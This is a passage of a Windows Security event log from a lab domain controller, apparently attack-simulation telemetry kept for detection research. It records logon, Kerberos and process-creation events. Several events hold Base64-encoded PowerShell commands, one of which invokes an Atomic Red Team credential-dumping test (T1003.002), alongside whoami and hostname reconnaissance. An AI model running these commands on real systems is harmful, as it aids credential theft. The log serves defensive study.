TQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257783 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6e4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc78 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257782 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x550CBA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257781 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x550CBA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257780 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=257779 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {8A2C4067-4C20-C156-3CDF-B00186BA8107} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=257778 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257777 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc78 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257776 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Process Information: - New Process ID: 0xc78 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257775 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\System32\dllhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x260 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:32 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257774 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x5d8 - Process Name: C:\Windows\System32\svchost.exe -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257808 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb30 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xec0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RES8925.tmp" "c:\Users\Administrator\AppData\Local\Temp\ikzxm24e\CSCFB3DC79DDE67425086B0C5E075D2933B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257807 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xec0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\ikzxm24e\ikzxm24e.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257806 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe70 - New Process Name: C:\Windows\System32\whoami.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\whoami.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257805 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1034 - New Process Name: C:\Windows\System32\HOSTNAME.EXE - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10ac - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\HOSTNAME.EXE" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=257804 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5502A0 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10ac - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "powershell.exe" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=257803 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5543C3 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257802 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x5543C3 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {7E5FED45-AB92-C331-61D0-86750AC9F072} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/12/2021 02:33:33 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=257801 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {7E5FED45-AB92-C331-61D0-86750AC9F072} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 